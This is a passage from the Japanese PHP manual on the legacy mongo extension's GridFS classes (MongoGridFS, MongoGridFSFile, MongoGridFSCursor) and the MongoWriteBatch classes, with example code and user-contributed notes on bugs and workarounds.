filename の読み込みに失敗したり、 chunks あるいは files コレクションへの追加に失敗したりした場合に MongoGridFSException をスローします。

参考

  • MongoGridFS::storeBytes() - バイト列をデータベースに格納する
  • MongoGridFS::storeFile() - ファイルをデータベースに格納する
  • MongoGridFS::storeUpload() - アップロードされたファイルをデータベースに格納する
  • MongoDB コアドキュメントの » GridFS

User Contributed Notes

There are no user contributed notes for this page.


ファイルとそのチャンクをデータベースから削除する

  • ≪ MongoGridFS::put
  • MongoGridFS::storeBytes ≫
  • PHP Manual
  • MongoGridFS
  • ファイルとそのチャンクをデータベースから削除する

MongoGridFS::remove

(PECL mongo >=0.9.0)

MongoGridFS::remove — ファイルとそのチャンクをデータベースから削除する

説明

public MongoGridFS::remove
 ( array $criteria = array()
, array $options = array()
) : bool|array

パラメータ

criteria

探したいファイル名あるいは条件。

options

chunks および files コレクションに対して削除操作を実行するときの、オプションの配列。 オプションの意味については、MongoCollection::remove() を参照ください。

返り値

"w" オプションを設定している場合は、配列を返します。 この配列には、削除が成功したかどうか (files コレクションを尊重したもの) を含みます。 それ以外の場合は true を返します。

配列の各フィールドの意味については、 MongoCollection::insert() のドキュメントを参照ください。

エラー / 例外

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

User Contributed Notes

fhagard at lightcube dot us 08-Apr-2010 06:58
To ensure that a remove occurred successfully use MongoDB::lastError(). Currently MongoGridFS::remove will return even if the remove failed.


バイト列をデータベースに格納する

  • ≪ MongoGridFS::remove
  • MongoGridFS::storeFile ≫
  • PHP Manual
  • MongoGridFS
  • バイト列をデータベースに格納する

MongoGridFS::storeBytes

(PECL mongo >=0.9.2)

MongoGridFS::storeBytes — バイト列をデータベースに格納する

説明

public MongoGridFS::storeBytes ( string $bytes , array $metadata = array() , array $options = array() ) : mixed

パラメータ

bytes

格納したいバイト列。

metadata

格納するファイルに含めるその他のメタデータフィールド。

注意:

これらのフィールドは、ドライバが自動生成したフィールドも上書きします。詳しい説明は、MongoDB コアドキュメントの » files collection を参照ください。この挙動の現実的な使い道としては、ファイルの chunkSize や _id を独自に指定する場合などがあります。

options

chunks および files コレクションに対して追加操作を実行するときの、オプションの配列。 オプションの意味については、MongoCollection::insert() を参照ください。

返り値

格納したファイルドキュメントの _id を返します。metadata パラメータで _id を明示的に指定していない場合は、自動生成した MongoId となります。

エラー / 例外

chunks あるいは files コレクションへの追加に失敗した場合に MongoGridFSException をスローします。

例

例1 MongoGridFS::storeBytes() でのメタデータの追加

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$bytes = 'abcdefghijklmnopqrstuvwxyz';
$id = $gridfs->storeBytes($bytes, array('_id' => 'alphabet'));
$gridfsFile = $gridfs->get($id);

var_dump($gridfsFile->file);
?>

上の例の出力は、 たとえば以下のようになります。

array(7) {
  ["_id"]=>
  string(8) "alphabet"
  ["uploadDate"]=>
  object(MongoDate)#7 (0) {
  }
  ["length"]=>
  int(26)
  ["chunkSize"]=>
  int(262144)
  ["md5"]=>
  string(32) "c3fcd3d76192e4007dfb496cca67e13b"
}

参考

  • MongoGridFS::put() - ファイルをデータベースに格納する
  • MongoGridFS::storeFile() - ファイルをデータベースに格納する
  • MongoGridFS::storeUpload() - アップロードされたファイルをデータベースに格納する
  • MongoDB コアドキュメントの » GridFS

User Contributed Notes

There are no user contributed notes for this page.


ファイルをデータベースに格納する

  • ≪ MongoGridFS::storeBytes
  • MongoGridFS::storeUpload ≫
  • PHP Manual
  • MongoGridFS
  • ファイルをデータベースに格納する

MongoGridFS::storeFile

(PECL mongo >=0.9.0)

MongoGridFS::storeFile — ファイルをデータベースに格納する

説明

public MongoGridFS::storeFile ( string|resource $filename , array $metadata = array() , array $options = array() ) : mixed

パラメータ

filename

格納するファイルの名前、あるいは読み込み可能なストリーム。

metadata

格納するファイルに含めるその他のメタデータフィールド。

注意:

これらのフィールドは、ドライバが自動生成したフィールドも上書きします。詳しい説明は、MongoDB コアドキュメントの » files collection を参照ください。この挙動の現実的な使い道としては、ファイルの chunkSize や _id を独自に指定する場合などがあります。

options

chunks および files コレクションに対して追加操作を実行するときの、オプションの配列。 オプションの意味については、MongoCollection::insert() を参照ください。

返り値

格納したファイルドキュメントの _id を返します。metadata パラメータで _id を明示的に指定していない場合は、自動生成した MongoId となります。

エラー / 例外

filename の読み込みに失敗したり、 chunks あるいは files コレクションへの追加に失敗したりした場合に MongoGridFSException をスローします。

例

例1 MongoGridFS::storeFile() でのメタデータの追加

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$id = $gridfs->storeFile('example.txt', array('contentType' => 'plain/text'));
$gridfsFile = $gridfs->get($id);

var_dump($gridfsFile->file);
?>

上の例の出力は、 たとえば以下のようになります。

array(7) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["contentType"]=>
  string(10) "plain/text"
  ["filename"]=>
  string(11) "example.txt"
  ["uploadDate"]=>
  object(MongoDate)#7 (0) {
  }
  ["length"]=>
  int(26)
  ["chunkSize"]=>
  int(262144)
  ["md5"]=>
  string(32) "c3fcd3d76192e4007dfb496cca67e13b"
}

参考

  • MongoGridFS::put() - ファイルをデータベースに格納する
  • MongoGridFS::storeBytes() - バイト列をデータベースに格納する
  • MongoGridFS::storeUpload() - アップロードされたファイルをデータベースに格納する
  • MongoDB コアドキュメントの » GridFS

User Contributed Notes

mike at eastghost dot com 16-Feb-2012 01:50
Pass

$options['safe'] = true;

to make Mongo slow down and do inserts sequentially instead of in parallel.

Use case:

I had 274 PDF documents stored on ext3 disk (avg. size was 5MB, none over 20MB)

A PHP loop loaded each PDF, then did a $GridFS->storeFile( $data, $meta );

This caused server to spike from load average of 0.2 to over 20.0

Apparently what was happening is the loop slammed Mongo (then memory, disk) with 274 convert/stores to do all at once.

Adding

$GridFS->storeFile( $data, $meta, array( 'safe' => true ) );

made the loop slow down and wait for each insert to finish and be confirmed before going on to next PDF.

Moral: Safe option can be used to maintain sanity and is not always just for data validity.


アップロードされたファイルをデータベースに格納する

  • ≪ MongoGridFS::storeFile
  • MongoGridFSFile ≫
  • PHP Manual
  • MongoGridFS
  • アップロードされたファイルをデータベースに格納する

MongoGridFS::storeUpload

(PECL mongo >=0.9.0)

MongoGridFS::storeUpload — アップロードされたファイルをデータベースに格納する

説明

public MongoGridFS::storeUpload ( string $name , array $metadata = ? ) : mixed

パラメータ

name

アップロードされたファイルの name フィールド。 これは、HTML フォームの file フィールドの name 属性と同じでなければいけません。

metadata

格納するファイルに含めるその他のメタデータフィールド。

注意:

これらのフィールドは、ドライバが自動生成したフィールドも上書きします。詳しい説明は、MongoDB コアドキュメントの » files collection を参照ください。この挙動の現実的な使い道としては、ファイルの chunkSize や _id を独自に指定する場合などがあります。

注意:

filename フィールドには、クライアントのファイル名 ($_FILES['foo']['name'] など) が入ります。

返り値

格納したファイルドキュメントの _id を返します。metadata パラメータで _id を明示的に指定していない場合は、自動生成した MongoId となります。

注意:

複数のファイルを同じフィールド名でアップロード した場合は、このメソッドは何も返しません。 しかし、ファイル自体の処理はそのまま行われます。

エラー / 例外

アップロードされたファイルの読み込みに失敗したり、 chunks あるいは files コレクションへの追加に失敗したりした場合に MongoGridFSException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.2.5 | 二番目のパラメータがメタデータの配列に変わりました。これより前のバージョンでは、 二番目のパラメータはオプションの文字列で、ファイル名を上書きするものでした。

例

例1 MongoGridFS::storeUpload() を使った HTML フォームの例

こんな HTML フォームがあるものとします。

<form method="POST" enctype="multipart/form-data">
    <label for="username">ユーザー名</label>
    <input type="text" name="username" id="username" />

    <label for="pic">プロフィール画像をアップロードしてください</label>
    <input type="file" name="pic" id="pic" />

    <input type="submit" />
</form>

アップロードされたファイルを MongoDB に格納するには、フォームの投稿を処理するスクリプト側でこのようにします。

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$gridfs->storeUpload('pic', array('username' => $_POST['username']));
?>

参考

  • MongoGridFS::put() - ファイルをデータベースに格納する
  • MongoGridFS::storeBytes() - バイト列をデータベースに格納する
  • MongoGridFS::storeFile() - ファイルをデータベースに格納する
  • MongoDB コアドキュメントの » GridFS

User Contributed Notes

juris dot zeltins at gmail dot com 06-Aug-2018 08:45
For multiple uploads storeUploads should be implemented.

But as we have possibility to use direct storeFile then it makes no sense because custom form was used anyway.
valentin at hilbig dot de 03-Mar-2018 04:25
For my PHP 7.0.27 this is incompatible to the "multiple" tag on inputs.

Like this:

<input type="file" name="files[]" multiple>

Please note that you need to use 'files[]', as else only one file is used from the uploaded files.

As documented, you need to give the Index into $_FILES as the first argument to this function.  Like in:

foreach ($_FILES as $k=>$v)
   $db->getGridFS()->storeUpload($k, $v);

However in the case of "multiple" selects, the corresponding entry in $_FILES[$k]["name"] is an array of filenames, not just a single filename.  This is true even for a single file, in that case it is an array with just a single string in it.

In that case the function just silently fails.  No error, no problem shown, it just becomes a NOP.

The workaround is:

- Without JavaScript, fallback to single file upload.
- With JavaScript add "multiple", and do the upload with Ajax file-by-file.
- As then only single files reach PHP, the problem is solved.
kkasid94 at gmail dot com 23-Mar-2017 05:24
I am not able to upload an image using this code.
Getting this error

Fatal error: Uncaught Error: Call to undefined method MongoDB\Database::getGridFS() in C:\xampp\htdocs\phpmongodb\new.php:4 Stack trace: #0 {main} thrown in C:\xampp\htdocs\phpmongodb\new.php on line 4


MongoGridFSFile クラス

(PECL mongo >=0.9.0)

はじめに

データベースファイルオブジェクト。

クラス概要

MongoGridFSFile {
/* フィールド */
public array $file = null ;
protected MongoGridFS $gridfs = null ;
/* メソッド */
public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )
public getBytes ( ) : string
public getFilename ( ) : string
public getResource ( ) : resource
public getSize ( ) : int
public write ( string $filename = null ) : int
}

目次

  • MongoGridfsFile::__construct — 新しい GridFS ファイルを作成する
  • MongoGridFSFile::getBytes — このファイルの内容をバイト文字列で返す
  • MongoGridFSFile::getFilename — このファイルのファイル名を返す
  • MongoGridFSFile::getResource — 格納されたファイルを読むために使うリソースを返す
  • MongoGridFSFile::getSize — このファイルのサイズを返す
  • MongoGridFSFile::write — このファイルをファイルシステムに書き込む

User Contributed Notes

There are no user contributed notes for this page.


新しい GridFS ファイルを作成する

  • ≪ MongoGridFSFile
  • MongoGridFSFile::getBytes ≫
  • PHP Manual
  • MongoGridFSFile
  • 新しい GridFS ファイルを作成する

MongoGridfsFile::__construct

(PECL mongo >=0.9.0)

MongoGridfsFile::__construct — 新しい GridFS ファイルを作成する

説明

public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )

パラメータ

gridfs

親の MongoGridFS インスタンス。

file

データベースからのファイル。

返り値

新しい MongoGridFSFile を返します。

User Contributed Notes

There are no user contributed notes for this page.


このファイルの内容をバイト文字列で返す

  • ≪ MongoGridfsFile::__construct
  • MongoGridFSFile::getFilename ≫
  • PHP Manual
  • MongoGridFSFile
  • このファイルの内容をバイト文字列で返す

MongoGridFSFile::getBytes

(PECL mongo >=0.9.0)

MongoGridFSFile::getBytes — このファイルの内容をバイト文字列で返す

説明

public MongoGridFSFile::getBytes ( ) : string

これはファイルをメモリに読み込みます。 ファイルのサイズがメモリの量より大きい場合は問題が発生することに注意しましょう。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの内容をバイト文字列で返します。

例

例1 MongoGridFSFile::getBytes() の例

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');

header('Content-type: image/png;');
echo $image->getBytes();
?>

User Contributed Notes

There are no user contributed notes for this page.


このファイルのファイル名を返す

  • ≪ MongoGridFSFile::getBytes
  • MongoGridFSFile::getResource ≫
  • PHP Manual
  • MongoGridFSFile
  • このファイルのファイル名を返す

MongoGridFSFile::getFilename

(PECL mongo >=0.9.0)

MongoGridFSFile::getFilename — このファイルのファイル名を返す

説明

public MongoGridFSFile::getFilename ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

ファイル名を返します。

User Contributed Notes

There are no user contributed notes for this page.


格納されたファイルを読むために使うリソースを返す

  • ≪ MongoGridFSFile::getFilename
  • MongoGridFSFile::getSize ≫
  • PHP Manual
  • MongoGridFSFile
  • 格納されたファイルを読むために使うリソースを返す

MongoGridFSFile::getResource

(PECL mongo >=1.3.0)

MongoGridFSFile::getResource — 格納されたファイルを読むために使うリソースを返す

説明

public MongoGridFSFile::getResource ( ) : resource

このメソッドが返すストリームリソースを、PHP のすべてのファイル操作関数群 (ファイルを読み込む関数) で使えます。 ファイルの中身を MongoDB からその場で取り出せるので、 わざわざファイル全体をメモリに読み込む必要がありません。

メモリ内に読み込まれるのは、最大でも二つまでの GridFSFile チャンクです。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルを読み込むために使うリソースを返します。

例

例1 MongoGridFSFile::getResource() の例

<?php
$m = new Mongo;
$images = $m->my_db->getGridFS('images');

$image = $images->findOne('mongo.png');

header('Content-type: image/png;');
$stream = $image->getResource();

while (!feof($stream)) {
    echo fread($stream, 8192);
}
?>

User Contributed Notes

chuck at manchuck dot com 15-Feb-2013 12:28
Please note that the file pointer is reset on each call to get resource


このファイルのサイズを返す

  • ≪ MongoGridFSFile::getResource
  • MongoGridFSFile::write ≫
  • PHP Manual
  • MongoGridFSFile
  • このファイルのサイズを返す

MongoGridFSFile::getSize

(PECL mongo >=0.9.0)

MongoGridFSFile::getSize — このファイルのサイズを返す

説明

public MongoGridFSFile::getSize ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

このファイルのサイズを返します。

User Contributed Notes

There are no user contributed notes for this page.


このファイルをファイルシステムに書き込む

  • ≪ MongoGridFSFile::getSize
  • MongoGridFSCursor ≫
  • PHP Manual
  • MongoGridFSFile
  • このファイルをファイルシステムに書き込む

MongoGridFSFile::write

(PECL mongo >=0.9.0)

MongoGridFSFile::write — このファイルをファイルシステムに書き込む

説明

public MongoGridFSFile::write ( string $filename = null ) : int

パラメータ

filename

ファイルの書き込み先。指定しなかった場合は、 格納されているファイル名を使用します。

返り値

書き込んだバイト数を返します。

例

例1 MongoGridFSFile::write() の例

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');
$image->write('/path/to/write/jwage.png');
?>

User Contributed Notes

dimzon541 at gmail dot com 11-Aug-2015 08:06
write method produce a huge memory leak!
workaround: use getResource

==============8<===========================

$chunkSize = intval($f->file['chunkSize']);
//echo $chunkSize;
$stream = $f->getResource();
$outStream = fopen($tmp,'wb');
while (!feof($stream)) {
   fwrite($outStream, fread($stream, $chunkSize));
}
fclose($stream);
fclose($outStream);
unset($stream);
unset($outStream);

==============8<===========================


MongoGridFSCursor クラス

(PECL mongo >=0.9.0)

はじめに

データベースからのファイル用のカーソルです。

クラス概要

extends MongoCursor {
/* フィールド */
protected MongoGridFS $gridfs = null ;
/* メソッド */
public __construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )
public current ( ) : MongoGridFSFile
public getNext ( ) : MongoGridFSFile
public key ( ) : string
}

目次

  • MongoGridFSCursor::__construct — 新しいカーソルを作成する
  • MongoGridFSCursor::current — 現在のファイルを返す
  • MongoGridFSCursor::getNext — カーソルが指す次のファイルを返し、カーソルを進める
  • MongoGridFSCursor::key — 現在の結果のファイル名を返す

User Contributed Notes

There are no user contributed notes for this page.


新しいカーソルを作成する

  • ≪ MongoGridFSCursor
  • MongoGridFSCursor::current ≫
  • PHP Manual
  • MongoGridFSCursor
  • 新しいカーソルを作成する

MongoGridFSCursor::__construct

(PECL mongo >=0.9.0)

MongoGridFSCursor::__construct — 新しいカーソルを作成する

説明

public MongoGridFSCursor::__construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )

パラメータ

gridfs

関連する GridFS コレクション。

connection

データベース接続。

ns

データベースおよびコレクションのフルネーム。

query

データベースクエリ。

fields

返したいフィールド。

返り値

新しいカーソルを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のファイルを返す

  • ≪ MongoGridFSCursor::__construct
  • MongoGridFSCursor::getNext ≫
  • PHP Manual
  • MongoGridFSCursor
  • 現在のファイルを返す

MongoGridFSCursor::current

(PECL mongo >=0.9.0)

MongoGridFSCursor::current — 現在のファイルを返す

説明

public MongoGridFSCursor::current ( ) : MongoGridFSFile

パラメータ

この関数にはパラメータはありません。

返り値

現在のファイルを返します。

User Contributed Notes

There are no user contributed notes for this page.


カーソルが指す次のファイルを返し、カーソルを進める

  • ≪ MongoGridFSCursor::current
  • MongoGridFSCursor::key ≫
  • PHP Manual
  • MongoGridFSCursor
  • カーソルが指す次のファイルを返し、カーソルを進める

MongoGridFSCursor::getNext

(PECL mongo >=0.9.0)

MongoGridFSCursor::getNext — カーソルが指す次のファイルを返し、カーソルを進める

説明

public MongoGridFSCursor::getNext ( ) : MongoGridFSFile

パラメータ

この関数にはパラメータはありません。

返り値

次のファイルを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の結果のファイル名を返す

  • ≪ MongoGridFSCursor::getNext
  • Batch クラス群 ≫
  • PHP Manual
  • MongoGridFSCursor
  • 現在の結果のファイル名を返す

MongoGridFSCursor::key

(PECL mongo >=0.9.0)

MongoGridFSCursor::key — 現在の結果のファイル名を返す

説明

public MongoGridFSCursor::key ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

現在の結果の _id を文字列で返します。

変更履歴

バージョン | 説明
PECL mongo 1.3.0 | ドキュメントの _id を文字列で返すようになりました。 キーは一意であるはずだからです。 これより前のバージョンでは filename を返していました。

User Contributed Notes

There are no user contributed notes for this page.


Batch クラス群

目次

  • MongoWriteBatch
  • MongoInsertBatch
  • MongoUpdateBatch
  • MongoDeleteBatch

User Contributed Notes

There are no user contributed notes for this page.


The MongoWriteBatch class

(PECL mongo >=1.5.0)

はじめに

MongoWriteBatch is the base class for the MongoInsertBatch, MongoUpdateBatch and MongoDeleteBatch classes.

MongoWriteBatch allows you to "batch up" multiple operations (of same type) and shipping them all to MongoDB at the same time. This can be especially useful when operating on many documents at the same time to reduce roundtrips.

Prior to version 1.5.0 of the driver it was possible to use MongoCollection::batchInsert(), however, as of 1.5.0 that method is now discouraged.

Note: This class is only available when talking to MongoDB 2.6.0 (and later) servers. It will throw MongoProtocolException if attempting to use it on older MongoDB servers.

クラス概要

MongoWriteBatch {
/* 定数 */
const int COMMAND_INSERT = 1 ;
const int COMMAND_UPDATE = 2 ;
const int COMMAND_DELETE = 3 ;
/* メソッド */
protected __construct ( MongoCollection $collection , string $batch_type = ? , array $write_options = ? )
public add ( array $item ) : bool
final public execute ( array $write_options ) : array
}

MongoWriteBatch types

MongoWriteBatch::COMMAND_INSERT

Create an Insert Write Batch

MongoWriteBatch::COMMAND_UPDATE

Create an Update Write Batch

MongoWriteBatch::COMMAND_DELETE

Create an Delete Write Batch

説明

When executing a batch by calling MongoWriteBatch::execute(), MongoWriteBatch will send up to maxWriteBatchSize (defaults to 1000) documents or maxBsonObjectSize (defaults to 16777216 bytes), whichever comes first.

注意:

Documents will never be partially transferred. When adding documents to the batch, that overflows the limit, a new batch will be created and the document put into the new batch.

エラー / 例外

  • Exception on parameter parsing failures
  • Exception on argument validation errors (e.g. missing keys)
  • MongoProtocolException when talking to MongoDB server older then 2.6.0.
  • MongoProtocolException on socket errors.
  • MongoWriteConcernException when a write fails due to WriteConcerns

例

例1 MongoWriteBatch example

Adding documents to a Insert batch and then execute it

<?php
$mc = new MongoClient("localhost");

$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

上の例の出力は以下となります。

array(2) {
  ["nInserted"]=>
  int(3)
  ["ok"]=>
  bool(true)
}

目次

  • MongoWriteBatch::add — Adds a write operation to a batch
  • MongoWriteBatch::__construct — Creates a new batch of write operations
  • MongoWriteBatch::execute — Executes a batch of write operations

User Contributed Notes

There are no user contributed notes for this page.


Adds a write operation to a batch

  • ≪ MongoWriteBatch
  • MongoWriteBatch::__construct ≫
  • PHP Manual
  • MongoWriteBatch
  • Adds a write operation to a batch

MongoWriteBatch::add

(PECL mongo >= 1.5.0)

MongoWriteBatch::add — Adds a write operation to a batch

説明

public MongoWriteBatch::add ( array $item ) : bool

Adds a write operation to the batch.

If $item causes the batch to exceed the maxWriteBatchSize or maxBsonObjectSize limits, the driver will internally split the batches into multiple write commands upon calling MongoWriteBatch::execute().

パラメータ

item

An array that describes a write operation. The structure of this value depends on the batch's operation type.

Batch type | Argument expectation
MongoWriteBatch::COMMAND_INSERT | The document to add.
MongoWriteBatch::COMMAND_UPDATE

Raw update operation.

Required keys are "q" and "u", which correspond to the $criteria and $new_object parameters of MongoCollection::update(), respectively.

Optional keys are "multi" and "upsert", which correspond to the "multiple" and "upsert" options for MongoCollection::update(), respectively. If unspecified, both options default to false.
MongoWriteBatch::COMMAND_DELETE

Raw delete operation.

Required keys are: "q" and "limit", which correspond to the $criteria parameter and "justOne" option of MongoCollection::remove(), respectively.

The "limit" option is an int; however, MongoDB only supports 0 (i.e. remove all matching documents) and 1 (i.e. remove at most one matching document) at this time.

返り値

Returns true on success and throws an exception on failure.

エラー / 例外

  • Exception on parameter parsing failures
  • Exception on argument validation errors (e.g. missing keys)

例

例1 MongoWriteBatch::add() example

Batching up multiple insert operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$batch->execute(array("w" => 1));
?>

例2 MongoWriteBatch::add() example

Batching up multiple update operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "u" => array('$set' => array("try" => 1)),
    "multi"  => false, /* default value */
    "upsert" => false, /* default value */
);
$item2 = array(
    "q" => array("is" => "working"),
    "u" => array('$set' => array("try" => 2)),
    "multi" => true,
);
$item3 = array(
    "q" => array("created" => "new-document"),
    "u" => array('$set' => array("try" => 3)),
    "upsert" => true,
);

$batch = new MongoUpdateBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->add($item3);
$batch->execute(array("w" => 1));

?>

例3 MongoWriteBatch::add() example

Batching up multiple delete operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "limit" => 1,
);
$item2 = array(
    "q" => array("try" => 3),
    "limit" => 1,
);

$batch = new MongoDeleteBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->execute(array("w" => 1));
?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a new batch of write operations

  • ≪ MongoWriteBatch::add
  • MongoWriteBatch::execute ≫
  • PHP Manual
  • MongoWriteBatch
  • Creates a new batch of write operations

MongoWriteBatch::__construct

(PECL mongo >= 1.5.0)

MongoWriteBatch::__construct — Creates a new batch of write operations

説明

protected MongoWriteBatch::__construct ( MongoCollection $collection , string $batch_type = ? , array $write_options = ? )

Constructs a new MongoWriteBatch.

注意:

This is a protected constructor. Please use one of the classes inheriting MongoWriteBatch.

パラメータ

collection

バッチを実行する MongoCollection。確認付き書き込み をコピーして、デフォルトとして使います。$write_options で指定したり、MongoWriteBatch::execute() で指定したりすることもできます。

batch_type

One of:

  • 0 - make an MongoWriteBatch::COMMAND_INSERT batch
  • 1 - make an MongoWriteBatch::COMMAND_UPDATE batch
  • 2 - make a MongoWriteBatch::COMMAND_DELETE batch

write_options

書き込みオプションの配列。

キー | 値
w (int|string) | WriteConcern の値
wtimeout (int) | レプリケーションを待つ時間の最大値
ordered | MongoDB にこのバッチを順番どおりに実行させるのかどうかを指定する。順番どおりの書き込みはシリアルに (一度に一行ずつ) 実行され、最初にエラーが発生した時点で実行は中断する。順番どおりでない書き込みはパラレルに実行され、エラーが発生しても処理は中断しない。デフォルトは true
j (bool) | プライマリーへのジャーナリングを待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと
fsync (bool) | プライマリーへの fsync を待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと

返り値

A new MongoWriteBatch of type batch_type.

参考

  • MongoInsertBatch
  • MongoUpdateBatch
  • MongoDeleteBatch

User Contributed Notes

There are no user contributed notes for this page.


Executes a batch of write operations

  • ≪ MongoWriteBatch::__construct
  • MongoInsertBatch ≫
  • PHP Manual
  • MongoWriteBatch
  • Executes a batch of write operations

MongoWriteBatch::execute

(PECL mongo >= 1.5.0)

MongoWriteBatch::execute — Executes a batch of write operations

説明

final public MongoWriteBatch::execute ( array $write_options ) : array

Executes the batch of write operations.

パラメータ

write_options

See MongoWriteBatch::__construct.

返り値

Returns an array containing statistical information for the full batch. If the batch had to be split into multiple batches, the return value will aggregate the values from individual batches and return only the totals.

If the batch was empty, an array containing only the 'ok' field is returned (as true) although nothing will be shipped over the wire (NOOP).

Array key | Value meaning | Returned for batch type
nInserted | Number of inserted documents | MongoWriteBatch::COMMAND_INSERT batch
nMatched | Number of documents matching the query criteria | MongoWriteBatch::COMMAND_UPDATE batch
nModified | Number of documents actually needed to be modied | MongoWriteBatch::COMMAND_UPDATE batch
nUpserted | Number of upserted documents | MongoWriteBatch::COMMAND_UPDATE batch
nRemoved | Number of documents removed | MongoWriteBatch::COMMAND_DELETE batch
ok | Command success indicator | All

エラー / 例外

A MongoWriteConcernException exception is thrown on failure.

例

例1 MongoWriteBatch::add() example

Batching up multiple insert operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

上の例の出力は以下となります。

array(2) {
  ["nInserted"]=>
  int(3)
  ["ok"]=>
  bool(true)
}

例2 MongoWriteBatch::add() example

Batching up multiple update operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "u" => array('$set' => array("try" => 1)),
    "multi"  => false, /* default value */
    "upsert" => false, /* default value */
);
$item2 = array(
    "q" => array("is" => "working"),
    "u" => array('$set' => array("try" => 2)),
    "multi" => true,
);
$item3 = array(
    "q" => array("created" => "new-document"),
    "u" => array('$set' => array("try" => 3)),
    "upsert" => true,
);

$batch = new MongoUpdateBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->add($item3);
$retval = $batch->execute(array("w" => 1));
var_dump($retval);

?>

上の例の出力は以下となります。

array(4) {
  ["nMatched"]=>
  int(18)
  ["nModified"]=>
  int(2)
  ["nUpserted"]=>
  int(0)
  ["ok"]=>
  bool(true)
}

例3 MongoWriteBatch::add() example

Batching up multiple delete operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "limit" => 1,
);
$item2 = array(
    "q" => array("try" => 3),
    "limit" => 1,
);

$batch = new MongoDeleteBatch($collection);
$batch->add($item1);
$batch->add($item2);
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

上の例の出力は以下となります。

array(2) {
  ["nRemoved"]=>
  int(1)
  ["ok"]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoInsertBatch class

(PECL mongo >=1.5.0)

はじめに

Constructs a batch of INSERT operations. See MongoWriteBatch.

クラス概要

MongoInsertBatch extends MongoWriteBatch {
/* メソッド */
public __construct ( MongoCollection $collection , array $write_options = ? )
/* 継承したメソッド */
public MongoWriteBatch::add ( array $item ) : bool
final public MongoWriteBatch::execute ( array $write_options ) : array
}

目次

  • MongoInsertBatch::__construct — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ MongoInsertBatch
  • MongoUpdateBatch ≫
  • PHP Manual
  • MongoInsertBatch
  • Description

MongoInsertBatch::__construct

(PECL mongo >= 1.5.0)

MongoInsertBatch::__construct — Description

説明

public MongoInsertBatch::__construct ( MongoCollection $collection , array $write_options = ? )

Constructs a batch of INSERT operations. See MongoWriteBatch.

パラメータ

collection

バッチを実行する MongoCollection。確認付き書き込み をコピーして、デフォルトとして使います。$write_options で指定したり、MongoWriteBatch::execute() で指定したりすることもできます。

write_options

書き込みオプションの配列。

キー | 値
w (int|string) | WriteConcern の値
wtimeout (int) | レプリケーションを待つ時間の最大値
ordered | MongoDB にこのバッチを順番どおりに実行させるのかどうかを指定する。順番どおりの書き込みはシリアルに (一度に一行ずつ) 実行され、最初にエラーが発生した時点で実行は中断する。順番どおりでない書き込みはパラレルに実行され、エラーが発生しても処理は中断しない。デフォルトは true
j (bool) | プライマリーへのジャーナリングを待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと
fsync (bool) | プライマリーへの fsync を待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと

返り値

A new MongoInsertBatch.

User Contributed Notes

There are no user contributed notes for this page.


The MongoUpdateBatch class

(PECL mongo >=1.5.0)

はじめに

Constructs a batch of UPDATE operations. See MongoWriteBatch.

クラス概要

MongoUpdateBatch extends MongoWriteBatch {
/* メソッド */
public __construct ( MongoCollection $collection , array $write_options = ? )
/* 継承したメソッド */
public MongoWriteBatch::add ( array $item ) : bool
